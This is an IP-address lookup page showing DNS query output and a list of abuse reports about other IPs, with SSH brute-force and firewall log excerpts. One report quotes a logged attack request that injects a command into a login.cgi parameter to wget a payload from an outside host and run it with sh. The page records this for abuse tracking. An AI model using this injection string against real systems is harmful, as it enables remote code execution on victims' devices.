Must be a valid IPv4 or IPv6 ip address, e.g. 127.0.0.1 or 2001:DB8:0:0:8:800:200C:417A
Basic Info

City: unknown

Region: unknown

Country: United States

Internet Service Provider: unknown

Hostname: unknown

Organization: unknown

Usage Type: unknown

Comments:
No discussion about this IP yet. Click above link to make one.
Comments on same subnet:
No discussion about this subnet yet..
Whois info:
b
Dig info:
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 104.20.43.132
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 56173
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;104.20.43.132.			IN	A

;; AUTHORITY SECTION:
.			444	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2022031801 1800 900 604800 86400

;; Query time: 58 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Sat Mar 19 09:31:22 CST 2022
;; MSG SIZE  rcvd: 106
Host info
Host 132.43.20.104.in-addr.arpa. not found: 3(NXDOMAIN)
Nslookup info:
Server:		183.60.83.19
Address:	183.60.83.19#53

** server can't find 132.43.20.104.in-addr.arpa: NXDOMAIN
Related IP info:
Related comments:
IP Type Details Datetime
185.143.223.8 attack
Port scan attempt detected by AWS-CCS, CTS, India
2019-08-09 14:44:35
69.80.72.9 attackbots
Port Scan: TCP/445
2019-08-09 14:39:12
202.43.164.46 attackbotsspam
Unauthorized SSH login attempts
2019-08-09 14:34:34
88.84.181.44 attackbotsspam
port scan and connect, tcp 23 (telnet)
2019-08-09 14:38:16
95.42.116.72 attackbotsspam
Aug  8 23:40:56 mail kernel: \[2561694.940858\] \[UFW BLOCK\] IN=eth0 OUT= MAC=00:50:56:3d:86:ee:00:08:e3:ff:fd:90:08:00 SRC=95.42.116.72 DST=91.205.173.180 LEN=60 TOS=0x00 PREC=0x00 TTL=57 ID=63750 DF PROTO=TCP SPT=36507 DPT=5555 WINDOW=65535 RES=0x00 SYN URGP=0 
Aug  8 23:40:57 mail kernel: \[2561695.935508\] \[UFW BLOCK\] IN=eth0 OUT= MAC=00:50:56:3d:86:ee:00:08:e3:ff:fd:90:08:00 SRC=95.42.116.72 DST=91.205.173.180 LEN=60 TOS=0x00 PREC=0x00 TTL=57 ID=63751 DF PROTO=TCP SPT=36507 DPT=5555 WINDOW=65535 RES=0x00 SYN URGP=0 
Aug  8 23:40:59 mail kernel: \[2561697.935506\] \[UFW BLOCK\] IN=eth0 OUT= MAC=00:50:56:3d:86:ee:00:08:e3:ff:fd:90:08:00 SRC=95.42.116.72 DST=91.205.173.180 LEN=60 TOS=0x00 PREC=0x00 TTL=57 ID=63752 DF PROTO=TCP SPT=36507 DPT=5555 WINDOW=65535 RES=0x00 SYN URGP=0
2019-08-09 14:32:34
185.176.27.170 attackbotsspam
Aug  9 05:51:59   TCP Attack: SRC=185.176.27.170 DST=[Masked] LEN=40 TOS=0x08 PREC=0x20 TTL=244  PROTO=TCP SPT=44749 DPT=26326 WINDOW=1024 RES=0x00 SYN URGP=0
2019-08-09 14:48:11
117.198.13.101 attackbots
Automatic report - Port Scan Attack
2019-08-09 14:55:16
69.176.95.240 attack
Aug  9 07:37:56 v22019058497090703 sshd[30224]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=69.176.95.240
Aug  9 07:37:58 v22019058497090703 sshd[30224]: Failed password for invalid user manish from 69.176.95.240 port 56190 ssh2
Aug  9 07:45:47 v22019058497090703 sshd[30929]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=69.176.95.240
...
2019-08-09 14:15:16
132.247.16.76 attackspam
Aug  9 07:49:13 icinga sshd[14985]: Failed password for root from 132.247.16.76 port 47508 ssh2
...
2019-08-09 14:35:33
138.197.88.135 attackbotsspam
Aug  9 05:12:52 ip-172-31-62-245 sshd\[25847\]: Invalid user jarel from 138.197.88.135\
Aug  9 05:12:54 ip-172-31-62-245 sshd\[25847\]: Failed password for invalid user jarel from 138.197.88.135 port 49580 ssh2\
Aug  9 05:17:08 ip-172-31-62-245 sshd\[25863\]: Invalid user Jordan from 138.197.88.135\
Aug  9 05:17:10 ip-172-31-62-245 sshd\[25863\]: Failed password for invalid user Jordan from 138.197.88.135 port 41100 ssh2\
Aug  9 05:21:25 ip-172-31-62-245 sshd\[25880\]: Invalid user cloud from 138.197.88.135\
2019-08-09 14:24:02
189.4.1.12 attackspam
Aug  7 09:06:48 tuxlinux sshd[47712]: Invalid user yong from 189.4.1.12 port 54934
Aug  7 09:06:48 tuxlinux sshd[47712]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=189.4.1.12 
Aug  7 09:06:48 tuxlinux sshd[47712]: Invalid user yong from 189.4.1.12 port 54934
Aug  7 09:06:48 tuxlinux sshd[47712]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=189.4.1.12 
Aug  7 09:06:48 tuxlinux sshd[47712]: Invalid user yong from 189.4.1.12 port 54934
Aug  7 09:06:48 tuxlinux sshd[47712]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=189.4.1.12 
Aug  7 09:06:50 tuxlinux sshd[47712]: Failed password for invalid user yong from 189.4.1.12 port 54934 ssh2
...
2019-08-09 14:53:26
80.91.125.167 attackbotsspam
firewall-block, port(s): 23/tcp
2019-08-09 14:54:02
86.49.81.10 attack
1 attack on wget probes like:
86.49.81.10 - - [08/Aug/2019:04:01:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://158.255.5.216/bin%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1" 400 11
2019-08-09 14:14:34
51.38.236.221 attackbots
Repeated brute force against a port
2019-08-09 14:50:50
218.92.1.142 attack
Aug  9 02:17:28 TORMINT sshd\[2406\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.92.1.142  user=root
Aug  9 02:17:30 TORMINT sshd\[2406\]: Failed password for root from 218.92.1.142 port 59785 ssh2
Aug  9 02:21:37 TORMINT sshd\[2583\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.92.1.142  user=root
...
2019-08-09 14:23:17

Recently Reported IPs

104.20.41.148 104.20.44.201 104.20.48.85 104.20.49.85
104.20.53.229 104.20.54.229 170.212.50.209 208.179.146.199
104.20.60.109 104.20.60.118 104.20.60.229 104.20.61.109
104.20.61.229 104.20.62.172 104.20.62.229 104.20.7.245
104.20.79.163 104.20.80.163 104.20.89.189 104.200.18.199